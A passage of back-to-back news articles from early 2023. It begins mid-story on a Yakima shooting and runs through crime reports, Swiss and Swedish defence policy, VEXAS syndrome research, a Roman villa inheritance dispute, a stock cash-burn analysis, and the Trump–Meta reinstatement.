Haddock appeared to have little criminal history. He was arrested in March 2020 after police saw him in a car that had been stolen from a woman who had left it running; he ran from officers who pulled him over, according to charging documents filed in Yakima County Superior Court, and he reported being homeless.

He successfully completed a diversion program, despite twice violating its terms by using methamphetamine or heroin, and the charges were dismissed in December 2021.

At Yakima Riverside Storage, across the street from the home surrounded by police, receptionist Tabitha Johnson said she was taking the unusual precaution of locking the doors, which she can monitor through windows and security cameras.

Its quite scary, but Yakima isnt new to shootings, the 39-year-old said.

___

Associated Press writers Rebecca Boone in Boise, Idaho, and Andrew Selsky in Salem, Oregon, contributed to this report.
A 20-year-old woman was arrested after she told police the house that she broke into was given to her.

[DOWNLOAD: Free WSB-TV News app for alerts as news breaks]

On Monday, around noon, Newnan police were called to a burglary in process on Camden Road. The homeowner told officers that an unknown woman was on the couch in the living room and no one was supposed to be at the home.

Authorities say they noticed a broken window surrounded by shattered glass in the back of the house and a brick inside the home.

While officers were clearing the home, they located Karretha Alford.

TRENDING STORIES:

When officers asked Alford why she was on the property, she reportedly said she was given the house by her sister and best friend. The homeowner told officials he did not know Alford and that she wasnt supposed to be there.

Alford is currently behind bars at the Coweta County Jail. Shes charged with criminal trespass with property damage.

[SIGN UP: WSB-TV Daily Headlines Newsletter]

IN OTHER NEWS:
The head of a Fort Worth drug trafficking operation and his associate have been federally charged, Leigha Simonton, U.S. attorney for the Northern District of Texas, announced this week.

Leeroy Marquee Jones, known as Aladdin, 32, and Christopher Antwuan George, 21, were charged via criminal complaint with conspiracy to possess with intent to distribute controlled substances.

Drug enforcement agents executed search warrants Thursday at three stash houses allegedly run by Jones and seized 500 grams of suspected fentanyl, 400 grams of suspected methamphetamine, 16 firearms, and a large amount of U.S. currency, according to a news release.

Demarcus Taylor, a federal fugitive previously charged with conspiracy to possess with intent to distribute controlled substances, was also arrested.

If convicted, Jones, George, and Taylor could face up 10 years to life in federal prison.

Jones was identified as the head of a drug trafficking organization that dealt fentanyl, cocaine, heroin, methamphetamine and marijuana in Fort Worths Stop Six neighborhood, according to the complaint. He was a multi-kilogram distributor, federal authorities said in the news release.

Seeking justice and a safe community is a team effort, said Eduardo A. Chavez, DEA Fort Worth special agent in charge. Through our partnership with the Hood County Sheriffs Office and the Fort Worth Police Department, guns and drugs, including thousands of potential deadly doses of fentanyl, are off our streets. Violent criminal drug networks poisoning our neighborhoods will be held accountable. You cannot hide.

The Drug Enforcement Administrations Fort Worth District Office, the Hood County Sherriffs Office and the Fort Worth Police Department conducted the investigation. Laura Montes, assistant U.S. attorney, is prosecuting the case.
Update

Suspects in a double homicide that took place in Phoenix over the weekend were involved in a shootout with Kansas authorities after having fled Arizona on Sunday, according to Phoenix police.

Phoenix officers had responded to an injured persons call on Sunday afternoon in a residential area near 51st Avenue and Broadway Road. They arrived to find two adults, later identified as 28-year-old Cameron Brown and 27-year-old Asya Ribble, who were fatally shot.

Brown and Ribble had two small children who were found uninjured at the time of the incident inside their home, according to Sgt. Rob Scherer, a Phoenix police spokesperson.

Phoenix homicide detectives said the primary suspect, later identified by Kansas authorities as 39-year-old Leroy D. Malone, was accompanied by an unidentified woman at the time of the homicide.

The pair were tracked out of Arizona, prompting detectives to contact law enforcement agencies nationwide with case information and descriptions of the man and woman, according to police.

Deputies with the Clark County Sheriff's Office in Kansas noticed a blue Toyota Tundra driving through Minneola, Kansas, that matched the description of the vehicle connected to the double homicide in Phoenix, according to a statement issued by the department.

The deputies initiated a traffic stop, but Malone and the woman fled, prompting a vehicle chase north on U.S. Highway 283 into Ford County, the statement said. Deputies from Ford County Sheriffs Office and Kansas Highway Patrol joined the pursuit.

Stop sticks were deployed by the deputes and troopers in an attempt to force the blue Toyota to slow down. A deputy maneuvered the truck into a nearby ditch shortly after, according to Clark County Sheriff's Office.

The truck then came to a stop east of the intersection of U.S. Highway 50 and 113 Road in Dodge City, Kansas, before an exchange of gunfire between Malone and the deputies, according to police.

Two Ford County Sheriff's Office deputies were shot. One of the deputies was taken to a Wichita hospital with serious gunshot injuries. He is currently in the intensive care unit, according to police.

Story continues

The second deputy was taken to a local hospital for shrapnel injuries and has reportedly been released.

A deputy from the Clark County Sheriff's Office was shot twice. He was taken to the Wichita hospital in critical condition, according to police.

The KHP trooper was bitten by a police K-9 during the shooting incident. The trooper was taken to a local hospital where he underwent surgery and is reportedly in good condition.

Malone was hit multiple times by gunfire during the shooting and was pronounced dead at the scene by Kansas authorities. The unidentified woman also sustained multiple gunshot injuries and is currently in critical condition at Wesley Medical Center in Wichita, according to police.

The Kansas Bureau of Investigaton said Monday it is opening an independent investigation in response to the shooting. The investigation remains ongoing.

This article originally appeared on Arizona Republic: Suspects in Phoenix double-homicide killed in shootout in Kansas
STOCKHOLM (Reuters) - Sweden wants to restore dialogue with Turkey over the applications by Sweden and Finland applications to quickly join NATO, Swedish Prime Minister Ulf Kristersson said on Tuesday.

"No other national security question is more important than that we, together with Finland, quickly become members of NATO," Kristersson told reporters.

Turkey has indefinitely postponed trilateral talks with Sweden and Finland over their membership bids after weekend protests in Stockholm which saw a far-right politician burn a copy of the Koran near Turkey's embassy.

(Reporting by Simon Johnson)
In November, Switzerland rejected Germany's appeal against the permission to re-export ammunition to Ukraine

The Security Policy Commission of the Swiss National Council has adopted a proposal allowing other countries to re-export weapons received from Switzerland  in certain cases.

Read also: US pressuring Switzerland to use frozen Russian assets for rebuilding Ukraine

Switzerlands existing laws prohibit the re-export of weapons to warring countries, born out of the countrys long-standing commitment to neutrality. The commission argues that this clause ought to have an exemption for cases when one side is being attacked in breach of international law,  specifically in case of the Russo-Ukrainian war. According to the UN General Assembly, Ukraine has full right to defend itself from Russias unprovoked aggression.

Read also: Switzerland joins EU in sanctioning Iran over supply of drones to Russia

Additionally, the commission pointed out these changes would not violate the Swiss neutrality, as it would be third countries  not Switzerland itself  supplying Kyiv with Swiss-made equipment.

Read also: Swiss government to provide Ukraine with $100 million winter aid action plan

The proposal was adopted by 14 votes against 11. The decision will only apply to the war in Ukraine and will remain in force until the end of 2025.

In November 2022, Switzerland rejected a German request to allow Swiss-made ammunition to be re-exported to Ukraine, saying such a move would violate Swiss neutrality.

Read the original article on The New Voice of Ukraine
The Commission for the Security Police of the National Council of Switzerland (lower house of the Parliament) approved the initiative of the Members of Parliament, which will allow the re-export of Swiss armament from third countries to Ukraine.

Source: European Pravda, with reference to the statement published on the Swiss Parliament website

"With 14 votes against 11, the Commission for the Security Police of the National Council of Switzerland (SiK-N), approved the presentation and the MP initiative concerning the re-export of military equipment. The declarations of non-re-export must have a clause, which would allow cancelling them in case the prohibition on the use of force is violated in accordance with the international law, specifically in case of the Russo-Ukrainian war", says the statement.

Since Switzerland is a neutral country, its legislation forbids the re-export of armament to the countries at war. Yet the majority of the commission is convinced that such changes to the law would not violate Switzerlands neutrality because Switzerland itself would not supply Ukraine with armament directly. The decision only depends on the countries that had received military materials in Switzerland before.

The commission is required to make changes to Article 18 of the law about military materials (KMG), so that the Federal Council (the Swiss government  ed.) could announce the cancellation of the declaration of non-re-export by countries that bought the Swiss military materials. The initiative explains that this is about the situation, in which the UN Security Council announces the violation of the prohibition to use force in accordance with the international law, or in which the UN General Assembly decides by the two-thirds majority vote that such prohibition was violated.

Meanwhile, the Commission stressed that the government must preserve its right to support the re-export ban if its cancellation goes against Switzerlands main interests on the international arena.

Story continues

Thus, the declaration of non-re-export of armament is to become invalid if there is confidence that the military materials were re-exported to Ukraine in connection with the Russo-Ukrainian war.

If the Commission achieves its goal, the changes to the law will come into force on 1 May and will be valid until the end of 2025.

The majority of the members of the Commission believe that Switzerland must make its contribution to the safety of Europe and therefore provide more assistance to Ukraine.

Further on, the parliamentary initiative will be handled by the Council of States, and then it will be presented for consideration by both chambers of the Parliament.

Thus, Switzerland may potentially give permission to Germany, Denmark and Spain to hand the Swiss weapons over to Ukraine.

Since Ukraine is one of the sides of an armed conflict, Denmark was not allowed to supply Kyiv with Swiss armoured infantry carriers Piranha, Germany was prohibited to provide it with Gepard shells, and Spain could not send its anti-aircraft systems.

Journalists fight on their own frontline. Support Ukrainska Pravda or become our patron!
A threat against of violence was made against Shelby High School Tuesday.

A Shelby teenager has been charged with a felony communicating a threat of mass violence on an educational property.

Parents of Shelby High School students were notified through an automated voice message at about 11 a.m. Tuesday that there had been a threat, and police and school officials were looking into it.

There was a social media post, and Shelby Police Department is investigating currently, said Greg Shull, communications director for Cleveland County Schools.

Shelby High School students fled the school and parents clogged the pick-up line by 11:30 a.m., and Shelby Police stood guard outside the building as panicked students called home.

Shull said the post came from an Instagram account that appeared to be based in Chicago, and the poster had threatened to shoot up the school in an Instagram story.

Additional officers were immediately on campus following the post.

We have to roll with it and make sure we tell everybody, he said. Until we know something from police, we just roll with what we've got. We've got a good presence by police on campus. Its going pretty smooth right now.

He said the threat triggered a safety response which included putting a team in place.

We sent out a message, and we anticipate sending a follow up message, Shull said.

At about 3:30, Shelby High School Principal David Allen sent out a follow-up message that read:

As you know, we were made aware of an inappropriate message posted to social media regarding Shelby High School. We appreciate your patience earlier today as the Shelby Police Department investigated the matter and provided additional officers on campus. We wanted to follow up to let you know that the situation was thoroughly investigated by Shelby Police Department and school system personnel. Based on their investigation and actions, the Shelby Police Department has resolved the issue and has been extremely helpful throughout this process.

Again, thank you, and we look forward to a great day of school tomorrow at Shelby High.

Story continues

According to police, the woman was not a student nor was she on campus at the time of her arrest.

She was booked into Cleveland County jail and assigned a $10,000 bond.

This article originally appeared on The Shelby Star: Teen accused of threatening violence at Shelby High School
Getty

The patient, Hector Campos, came into the emergency department with shortness of breath, erratic fever, and swollen, itchy ears. His wife explained that Campos had tested negative for COVID-19. What do you think this might be? Campos asked the chief of emergency medicine, Ethan Choi, who was similarly befuddled by the mans symptoms.

Scary, right? But its not realCampos and Choi are both characters on the NBC medical drama Chicago Med. Over the course of the episode, which aired in March 2021, Choi initially misdiagnoses Campos symptoms as pneumonia and a bacterial infection, but a test comes back for widespread inflammation. Campos condition rapidly deteriorates, and the team of doctors is miffed until fellow ER surgeon Dean Archer suggests it might be VEXAS, a rare autoinflammatory syndrome. Genetic sequencing ultimately finds a mutation confirming the diagnosis, and Choi begins treating the patient.

The episode is fictional, but depictions like this one are surprisingly accurate to real-life cases of VEXAS, said David Beck, a clinical genetics researcher at New York University Grossman School of Medicine. In terms of clinical manifestations, he told The Daily Beast, theyve been spot on. Beck ought to know: He and his colleagues first named the syndrome in a study published in The New England Journal of Medicine in 2020. Ive been impressed, actually, with depictions in popular media, because [it shows] theyve read the paper.

An On-Off Gene Switch May Protect Plants From Climate Change

Even so, these representations of VEXAS syndrome tend to highlight severe cases, in part because the NEJM paper did, too. Of the 25 cases the researchers studied, 10 of the patients died from VEXAS-related causes.

But more recent research has expanded the case definition of VEXAS to include a milder side. In a paper published in JAMA on Jan. 24, Beck and his colleagues scanned genetic sequencing readings from more than 160,000 people to determine how common VEXAS syndrome really is, and how its symptoms manifest in patients. The research team found that nine male patients and two female patients in their study had mutations that caused VEXAS.

Story continues

And as a result, the researchers estimated that the syndrome affects about 13,200 men and 2,300 women over age 50 in the U.S. alone.

This New Gene Editing Tool Targets the Powerhouse of the Cell

Its thrilling to go from trying to understand a few patients to finding that the same genetic cause and the same disease is found in tens of thousands of individuals, Beck said. Not just because we know that there are many patients out there who are suffering, who don't get a diagnosis, or who don't get the treatment that can help them and just taking a step in that direction; it's also very surprising that you can still make these sort of discoveries despite all of the biomedical research going on.

VEXAS is an acronym that stands for several key features of the syndrome. In every case of the syndrome, a patient has a genetic mutation coding for the enzyme E1. The mutation occurs on a gene on the X chromosome, which as you might recall from biology class, is a sex chromosomemen only have one, making them more prone to coming down with VEXAS. And the mutation is somatic, which means it is acquired during life as opposed to being inherited from a parent. That last feature, which gives VEXAS its S, is crucial: Because VEXAS is caused by a somatic mutation, the syndrome isnt passed down and only occurs in older patients, typically over the age of 50, Beck said.

This type of research, Beck emphasized, has been made possible by recent advances in genetic sequencing that make it readily available and affordable to patients. The participants in the study all sought care at a Geisinger health care facility in central and northeastern Pennsylvania between 1996 and 2022. As part of a collaboration between Geisinger and the Regeneron Genetics Center to map genetic variation across the human genome, the participants exomesregions of their genomes that encode proteinswere sequenced.

All of the 11 participants found to have mutations in the gene for the E1 enzyme were anemic and the vast majority had abnormally large red blood cells and a low platelet countall symptoms consistent with VEXAS syndrome. Importantly, though, some of the more severe symptoms associated with VEXAS, like inflammation in the cartilage (which caused Campos swollen ears), were not present in these patients. This suggests that there may be a broader spectrum of severity when it comes to cases of VEXAS syndrome.

One other puzzling aspect of the study was the fact that the two women retrospectively identified as having VEXAS syndrome only suffered from the VEXAS-related mutation on one of their X chromosomes, not both. Its confusing for us, since originally the researchers thought that VEXAS only affected men, Beck said. We've been slowly recognizing more females that have the disease, and we don't understand why that is. One phenomenon at play could be X-inactivation, a process in which one of a females two X chromosomes is silenced throughout their cells.

The researchers wrote in the study that future analyses will be critical to understanding the prevalence of the syndrome in diverse populations, since 94 percent of the participants in the Geisinger cohort were white.

Currently, there are no treatments for VEXAS approved by the Food and Drug Administration, but a phase II clinical trial is underway to study whether blood stem cell transplants can treat or cure the syndrome. In 2022, a team of French researchers published a study suggesting that such a transplant can lead to complete remission, but such a procedure is not without its risks.

Is Genetic Engineering the Key to Making Perfect Wine?

On the research side, Beck said that scientists are still trying to figure out how a mutation in the gene that encodes E1 leads to the widespread inflammation seen in cases of VEXAS. This enzyme starts a process for a cell to eliminate proteins it no longer needs, and further research is ongoing to determine how a dysfunctional E1 enzyme impacts this process.

If you're an older individual with systemic inflammation, low blood counts, dont have any clear diagnosis, and you require steroids but don't have any clear diagnosis, you should contact your doctor about genetic testing for VEXAS syndrome, Beck said.

It may help lead to better treatments for youand at least a clear diagnosis, he said.

Read more at The Daily Beast.

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Princess Rita Boncompagni Ludovisi poses for a photograph below Caravaggio's only ceiling mural inside Villa Aurora, in Rome, Italy, November 16, 2021. (Reuters)

A Texas-born Italian princess is vowing to fight a court order to vacate her 16th Century Roman villa, which features the worlds only known Caravaggio ceiling mural valued at $335m.

Princess Rita Jenrette Boncompagni Ludovisi, 73, was served with a 60-day notice to leave the Casino dellAurora last week, the latest chapter in a years-long inheritance feud with her late husbands three sons.

Ms Boncompagni Ludovisi, a former actress, told Reuters she was stunned at being ordered to vacate her home and would appeal the decision.

The Casino dellAurora, located in central Rome, was built on the Julius Caesars ancient gardens of and features artworks by renowned Italian artists, such as Guercino and Caravaggios Jupiter, Neptune and Pluto.

After the death of her third husband, Prince Nicolo Francesco Boncompagni Ludovisi, in 2018, Ms Boncompagni Ludovisi was given permission to live in the villa for the rest of her life, according to Reuters.

If sold, the proceeds would be divided between her and her late husbands sons.

The Italian royals sons disputed the terms of his will, and have been involved in a drawn-out legal dispute ever since.

The villa has since fallen into a state of disrepair, and an Italian court ordered its sale to resolve the inheritance dispute with Prince Nicolos sons.

It failed to sell at an online auction in January 2022, after court-appointed experts placed a minimum bidding price on the villa of $380m (350 million euros).

Four further auctions held at lower values have also failed to find a buyer.

Princess Rita Boncompagni Ludovisi poses for a photograph outside Villa Aurora (file photo) (Reuters)

After the collapse of an outside wall at the property forced the closure of a neighbouring street, a judge ruled that the property was not being properly maintained and issued the eviction order, according to La Repubblica.

Ms Boncompagni Ludovisi told Reuters she believed she may have got offside with the courts after offering unauthorised paid tours of the property to help with the maintenance costs.

According to the Associated Press, the villa was built in 1570, and had belonged to the Ludovisi family since the early 1600s.

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A previous listing on the Rome tribunals auction describes it as a monumental propertyacross six levels which is among the most prestigious architectural and landscape beauties of pre-unification Rome.

It features three garages, two roof terraces and a splendid garden with arboreal essences and tall trees, pedestrian paths, stairs and rest areas.

Ms Boncompagni Ludovisi has lived in the villa for 20 years, telling the Guardian in a recent interview that she has dedicated all my time and resources to it.

Prior to marrying her Italian prince, Ms Boncompagni Ludovisi had worked in television and real estate in New York, and helped broker Donald Trumps 1998 purchase of the General Motors building in 1998, according to Forbes.

She was previously married to former North Carolina congressman John Jenrette.

Ms Boncompagni Ludovisi did not immediately respond to a request for comment by The Independent.
There's no doubt that money can be made by owning shares of unprofitable businesses. For example, although Amazon.com made losses for many years after listing, if you had bought and held the shares since 1999, you would have made a fortune. But while history lauds those rare successes, those that fail are often forgotten; who remembers Pets.com?

Given this risk, we thought we'd take a look at whether ABx Group (ASX:ABX) shareholders should be worried about its cash burn. For the purpose of this article, we'll define cash burn as the amount of cash the company is spending each year to fund its growth (also called its negative free cash flow). First, we'll determine its cash runway by comparing its cash burn with its cash reserves.

Check out our latest analysis for ABx Group

Does ABx Group Have A Long Cash Runway?

A company's cash runway is the amount of time it would take to burn through its cash reserves at its current cash burn rate. In June 2022, ABx Group had AU$4.1m in cash, and was debt-free. In the last year, its cash burn was AU$3.8m. So it had a cash runway of approximately 13 months from June 2022. While that cash runway isn't too concerning, sensible holders would be peering into the distance, and considering what happens if the company runs out of cash. Depicted below, you can see how its cash holdings have changed over time.

How Is ABx Group's Cash Burn Changing Over Time?

In our view, ABx Group doesn't yet produce significant amounts of operating revenue, since it reported just AU$107k in the last twelve months. Therefore, for the purposes of this analysis we'll focus on how the cash burn is tracking. During the last twelve months, its cash burn actually ramped up 70%. While this spending increase is no doubt intended to drive growth, if the trend continues the company's cash runway will shrink very quickly. ABx Group makes us a little nervous due to its lack of substantial operating revenue. So we'd generally prefer stocks from this list of stocks that have analysts forecasting growth.

Can ABx Group Raise More Cash Easily?

While ABx Group does have a solid cash runway, its cash burn trajectory may have some shareholders thinking ahead to when the company may need to raise more cash. Issuing new shares, or taking on debt, are the most common ways for a listed company to raise more money for its business. Commonly, a business will sell new shares in itself to raise cash and drive growth. By comparing a company's annual cash burn to its total market capitalisation, we can estimate roughly how many shares it would have to issue in order to run the company for another year (at the same burn rate).

Since it has a market capitalisation of AU$30m, ABx Group's AU$3.8m in cash burn equates to about 13% of its market value. Given that situation, it's fair to say the company wouldn't have much trouble raising more cash for growth, but shareholders would be somewhat diluted.

How Risky Is ABx Group's Cash Burn Situation?

On this analysis of ABx Group's cash burn, we think its cash burn relative to its market cap was reassuring, while its increasing cash burn has us a bit worried. We don't think its cash burn is particularly problematic, but after considering the range of factors in this article, we do think shareholders should be monitoring how it changes over time. On another note, ABx Group has 3 warning signs (and 2 which don't sit too well with us) we think you should know about.

Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of companies insiders are buying, and this list of stocks growth stocks (according to analyst forecasts)

Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team (at) simplywallst.com.



This article by Simply Wall St is general in nature. We provide commentary based on historical data and analyst forecasts only using an unbiased methodology and our articles are not intended to be financial advice. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned.

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Julian Sands, a prolific actor with more than 150 screen credits, has gone missing while hiking.

The British star is believed to have been somewhere on the popular Baldy Bowl Trail in California, which climbs 3,900 feet over 4.5 miles to the highest summit in the San Gabriel Mountains.

Search and rescue crews are looking for Sands, with the actors friends, including Matthew Modine, Rufus Sewell and film producer Frank Marshall, expressing hope that he is found safely.

Sands is known for his breakout role in 1985 period drama A Room With A View, in which he starred opposite Helena Bonham Carter, Sir Daniel Day-Lewis, Dame Judi Dench and Dame Maggie Smith.

He also starred in Arachnophobia, The Killing Fields, Leaving Las Vegas and Warlock, as well as TV shows 24, Smallville and Banshee. His most recent film role was in Terence Davies Benediction.

Below is a timeline of all the events relating to Sands disappearance.

Friday 13 January: San Bernardino County Sheriffs Department receives a report that Julian Sands, has gone missing while hiking. The department stated: On Friday 13 January, at about 7.30pm, a hiker, identified as 65-year-old Julian Sands of North Hollywood was reported missing in the Baldy Bowl area.

Search and rescue crews begin a search for the actor.

Saturday 14 January: Search and rescue crews looking for Sands are pulled off the mountain due to avalanche risks and dangerous trail conditions. However, a San Bernardino police department spokesperson tells CNN that authorities are continuing to use drones.

Sunday 15 January: The last ping from Sands cell phone occurs on this day, suggesting that his phone died shortly after.

Julian Sands has gone missing while hiking in California ((Ian West/PA))

Wednesday 18 January: A car believed to belong to Sands is found by crews during a search operation for the missing British actor. Video footage shows the vehicle being towed away from the scene in Mount Baldy, California.

Thursday 19 January: Sands son Henry joins the ground search for their father, retracing the route his father is believed to have taken, along with the assistance of an experienced climber.

Friday 20 January: Authorities say there is no hard deadline for calling off the search for Sands, one week after he was first reported missing. We will schedule another ground search when the weather improves, and it is safe for our ground crews, a spokesperson from the department told the PA news agency.

Monday 23 January: The National Weather Service reports high winds affecting the Santa Ana mountain region and San Bernandino, close to the area where Sands is believed to have gone hiking. Sands family issues a statement thanking authorities for their heroic search efforts, which are still ongoing.
Isla Bryson

A transgender rapist convicted of launching sex attacks on two vulnerable women is set to be sent to a female jail to await sentencing.

Isla Bryson, who was previously known as Adam Graham, was convicted on Tuesday of two counts of rape at the High Court in Glasgow, committed while still living as a man.

The jury had been told that Brysons dead name was Adam Graham and that while the 31-year-old claimed to have known they were trans at age four, they only transitioned after being accused of the second rape.

The Telegraph understands that despite the convictions, Bryson - who was remanded in custody - is set to be sent to HMP Cornton Vale, a womens prison in Stirling.

Under Scottish Prison Service policy, individual risk assessments are carried out to decide where transgender inmates will be sent.

The move to house a male-bodied rapist in a female jail sparked an immediate backlash from womens rights campaigners, who branded it mad.

The verdict was delivered just weeks after Holyrood passed legislation that would have made it significantly easier for Scots to change legal sex, only for it to be blocked by UK ministers - in part due to fears it would place women in danger.

During deliberations over the Bill, Members of the Scottish Parliament voted down amendments designed to stop male sex offenders, or those accused of sexual offences, legally becoming women.

Supporters of the legislation branded the attempts to add safeguards as transphobic dog whistles.

'How mad this has all become'

The fact that sending a convicted rapist to a womens jail would even be considered shows how mad this has all become, said Susan Smith, a director with the For Women Scotland campaign group.

Only last month, the Scottish Government refused to entertain the possibility of refusing to allow men accused of rape attempting to seek a Gender Recognition Certificate (GRC).

This case indicates that predatory and abusive men will stop at nothing to manipulate courts and torture victims. Had this man been able to acquire a GRC, there would have been greater protections around the identity of the accused.

Story continues

We can only be grateful that some politicians still value women's safety and dignity. But for [the UK Government veto], this situation could have been so much worse for the victims.

Isla Bryson - Mike Gibbons/Spindrift Photo Agency

Bryson carried out the rapes in 2016 and 2019. The jury rejected the defendants claims that it was they who were vulnerable and that they would never hurt another human being.

The rapist claimed to have known about their gender issues since the age of four. However, a court indictment in 2020 still referred to the defendant as Adam Graham, with the name change happening at a later date.

'I told him to stop and he did not'

Bryson had attacked the first victim at a flat in Clydebank, West Dunbartonshire, on Sept 16 2016, having met on the Badoo dating site. The woman recalled repeatedly stating "no" as a "muscular" attacker forced himself upon her.

The second woman was raped at a flat in Drumchapel, Glasgow, on June 27 2019. The victim recalled feeling "crushed" as the attacker she knew as Adam forced himself on her.

She stated: "I told him to stop and he did not. He kept going. That is when I closed my eyes and let him do what he wanted to do."

Claiming to be aware of gender issues as a young child, Bryson told the court: "I was always hanging about with the girls and always doing make-up."

Bryson claimed to have received hormone treatment. Asked about surgery, Bryson stated: "I obviously want all the surgery that the NHS can provide."

Russell Findlay, the Scottish Tory community safety spokesman, said: This rapist decided that he was no longer a man only after appearing in court on a rape charge.

We now have the utterly perverse situation where a Scottish court refers to someone who says he identifies as female using 'her penis' to rape two vulnerable women.

Lord Scott, the judge, deferred sentencing but warned that Bryson - who arrived in court on Monday dressed in a bright pink coat and handbag - faces a lengthy prison sentence.

The judge deferred sentencing until Feb 28 in Stirling.

You have been convicted of two extremely serious charges, Lord Scott told Bryson. "Given what you have been convicted of, a significant custodial sentence is inevitable.
A Tallahassee Memorial HealthCare employee was assaulted by four young teenagers Thursday morning as she walked from a hospital parking lot to TMH, leading the facility to increase its security measures.

Just before 5:30 a.m. Thursday, the woman, who parked her vehicle at a lot behind Walgreens, 1202 Magnolia Drive, was followed by a group of four teens as she walked toward the hospital, according to a TPD incident synopsis.

When she reached Miccosukee Road and Magnolia Drive, one of the suspects  who have all been arrested  "struck" the woman, TPD said. Meanwhile, the others "attempted to steal her purse and keys."

The woman resisted, but was "ultimately pushed to the ground and struck her head on the concrete." She received a "serious" but "non-life-threatening injury," according to police.

More:Person fatally shot at Atlanta 'Cop City' was well-known Tallahassee activist, FSU grad

Crime analysis:Murders in Leon County saw uptick in 2022, but police cracked the case in 86% of them

TMH in the news:TMH breaks ground on new campus in area with 'incredible boom in population'

Meantime, the suspects fled in the woman's car and were spotted by patrol officers around 8:30 a.m., leading to a pursuit before they were eventually stopped at Dade and Brewer streets.

Four juveniles, between 13 and 15 years old, were arrested in connection with this incident on charges including battery of a victim over 65 years old, grand theft auto, trespassing and carjacking.

The Democrat names and identifies young teens when they are charged as adults. The state attorney's office has not yet made its determination in this case, State Attorney Jack Campbell said Tuesday.

"Our thoughts are with our colleague, who is recovering, we wish her well as she heals and processes this traumatic experience," read a message that was posted to an internal message board used by all TMH employees.

Story continues

"We also remind all colleagues to be aware of their surroundings when walking to and from our TMH buildings," the message continued. "Avoid looking at your phone when you are walking and walk in groups whenever possible."

In the days following the assault that has rattled hospital workers, TMH has announced increased safety measures including on-foot safety patrols in two parking lots in the mornings, requests for TPD to raise the frequency of their patrols, a lighting survey of all hospital parking lots and trimming of trees and bushes, according to another message on the TMH message board.

The hospital has also pledged to create a security awareness committee made up of employees working closely with TMH leadership to "identify opportunities to improve security efforts."

Correction: A previous version of this story incorrectly stated that the woman was assaulted at a TMH parking lot. She was assaulted at the intersection of Miccosukee Road and Magnolia Drive after walking away from the parking lot and toward the hospital.

Contact Christopher Cann at ccann@tallahassee.com and follow @ChrisCannFL on Twitter.

This article originally appeared on Tallahassee Democrat: TMH worker assaulted in carjacking; 4 teens arrested
A RuPauls Drag Race star is dragging Rep. George Santos (R-N.Y.), after the controversial congressman denied that he used to perform in drag queen contests.

The first-term New York Republican, whose finances are reportedly under federal investigation, took to Twitter on Monday to decry actors who have impersonated him on TV, calling them all TERRIBLE.

Jon Lovitz is supposed to be one of the greatest comedians of all time and that was embarrassing  for him not me! Santos said of the comedians impression of him last week on The Tonight Show.

Maybe the source material was weak, Trixie Mattel, who appeared on the seventh season of the Emmy-winning drag queen competition and won season three of RuPauls Drag Race All Stars, replied to Santos.

Santos then responded with a knock at Mattels weak acting skills.

I am not an actor! I was young and I had fun at a festival! Mattel replied.

The comeback was a reference to Santoss response to a report published last week in which two of his former acquaintances said that the now-lawmaker once participated in drag queen contests and cross-dressed in gay pride events in Brazil.

After initially calling the report categorically false, photos emerged appearing to show Santos dressed in drag.

No, I was not a drag queen in Brazil, guys, Santos told reporters. I was young, and I had fun at a festival. Sue me for having a life.

Santos has been facing pressure to resign  and investigations from federal authorities over potential campaign finance violations  following an avalanche of apparent fabrications about everything from his work history to his education and family heritage.

For the latest news, weather, sports, and streaming video, head to The Hill.
UPDATE: Jan. 25, 5:28 p.m. EST  Meta announced Wednesday it would end Donald Trumps suspension from Facebook and Instagram in the coming weeks but that it would institute new guardrails to penalize Trump for repeat violations.

Previously:

In the two days following the Jan. 6, 2021, Capitol riot, both Facebook and Twitter removed former President Trump from their platforms, citing the danger his posts posed to the peaceful transfer of power between U.S. presidents.

The timer on Trumps Facebook suspension officially ended earlier this month, but leaders at Meta which is now the name of Facebooks parent company, have yet to announce whether the former president will be allowed back on the platform.

Katie Harbath, who worked at Facebook for 10 years, most recently as the director of the companys public policy team, resigned seven weeks after the Capitol riot. But on the phone with HuffPost last week, she admitted shes somewhat envious of the power her former employer now holds.

How many people get to actually tackle these types of issues, and to be in the decision-making space, versus just sharing their thoughts in the cheap seats? Harbath, now an independent consultant and senior adviser at the International Republican Institute, wondered aloud.

How many people get to actually tackle these types of issues, and to be in the decision-making space, versus just sharing their thoughts in the cheap seats?Katie Harbath, former Facebook public policy director

Similarly, under its previous leadership, Twitter permanently suspended Trump after the Capitol attack, citing concerns that his posts would inspire further violence. Trump was a prolific Twitter user: After joining Twitter in 2009, he sent 57,000 tweets, most of which came during the 2016 campaign and his presidency. His most notable post came in December 2020, when he told supporters that his Jan. 6 rally would be wild!

One thing is clear: Trump hasnt changed over the past two years. He has never acknowledged the legitimacy of Joe Bidens presidency and has made no apology for the mob he summoned to Washington, D.C., two years ago, despite the violent coup attempt that followed. In fact, he has publicly sympathized with rioters who had their lives ruined, promising, This situation will be fully rectified after 2024 Election. He has explicitly promised pardons in the past to the same group.

Story continues

Yet the stage is set for a likely mainstream social media comeback. Shortly after buying Twitter, Elon Musk tweeted a poll to his followers and  contrary to his pledge to establish an independent panel for such decisions  promptly reinstated Trumps account, citing the results. Trump is still wrapped up in an exclusivity agreement with Truth Social, the social media platform he created, but NBC News and Rolling Stone have reported hes already planning his first tweets back on the platform.

And in an interview with Fox News, Trump confirmed an NBC News report that his campaign had petitioned Meta to restore his account access as well. A Meta spokesperson told NBC News last week that the company would announce a decision in the coming weeks. Meta did not respond to HuffPosts request for comment.

In other words, after two years of his absence, the platforms that formed the foundation of Trumps political success are opening the door for his return. But times have changed, both for Trump and the platforms he employed in his rise to power. Does Trump still wield the massive social media influence he once held?

Lots Of Reasons To Remove Him

In the most urgent sense, Trumps Facebook and Twitter accounts matter because of their reach: Trump has fewer than 5 million followers on Truth Social, compared to more than 87 million on Twitter and 34 million on Facebook. Even accounting for some inevitable bot followers, thats a significant following, and Trump has used those platforms for ill in the past.

He was removed because he helped instigate, mobilize and lead an attempted overthrow of the U.S. government using social media, said Khadijah Costley White, a professor of journalism and media studies at Rutgers University.

White also noted Trumps prolific lies on social media, as well as his posts about his political opposition being killed. Researchers have found correlations between Trumps bigoted tweets and anti-Muslim hate crimes, as well as between Trump attacks on Twitter and increased levels of severe toxicity and threats toward his targets.

